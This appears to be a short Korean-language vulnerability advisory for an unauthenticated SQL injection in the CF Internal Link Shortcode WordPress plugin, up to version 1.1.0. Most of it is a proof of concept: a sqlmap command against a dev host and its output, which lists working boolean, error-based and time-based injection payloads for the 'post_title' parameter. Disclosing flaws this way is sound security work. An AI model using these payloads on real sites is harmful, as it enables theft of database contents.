
CF Internal Link Shortcode <= 1.1.0 - 인증되지 않은 SQL 인젝션
CF Internal Link Shortcode <= 1.1.0 - 인증되지 않은 SQL 인젝션
WordPress용 CF Internal Link Shortcode 플러그인은 1.1.0을 포함한 모든 버전에서 'post_title' 매개변수를 통한 SQL 인젝션에 취약합니다. 사용자가 제공한 매개변수에 대한 이스케이프가 충분하지 않고 기존 SQL 쿼리에 대한 준비가 부족하기 때문입니다. 이로 인해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 덧붙일 수 있으며, 이를 통해 데이터베이스에서 민감한 정보를 추출할 수 있습니다.
python3 /tools/sqlmap/sqlmap.py -u 'https://wp-dev.ddev.site:443/?cf_action=cfplsc_id_lookup&post_title=test' --text-only --dbms='MySQL ' -p post_title
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__H__
___ ___[(]_____ ___ ___ {1.9.1.2#dev}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:51:48 /2025-01-10/
[14:51:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: post_title (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: cf_action=cfplsc_id_lookup&post_title=test' OR NOT 3808=3808#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: cf_action=cfplsc_id_lookup&post_title=test' AND (SELECT 4623 FROM(SELECT COUNT(*),CONCAT(0x716a767071,(SELECT (ELT(4623=4623,1))),0x717a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UaJb
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cf_action=cfplsc_id_lookup&post_title=test' AND (SELECT 1598 FROM (SELECT(SLEEP(5)))TDXA)-- qAaL
---
[14:51:48] [INFO] testing MySQL
[14:51:48] [INFO] confirming MySQL
[14:51:48] [WARNING] reflective value(s) found and filtering out
[14:51:48] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)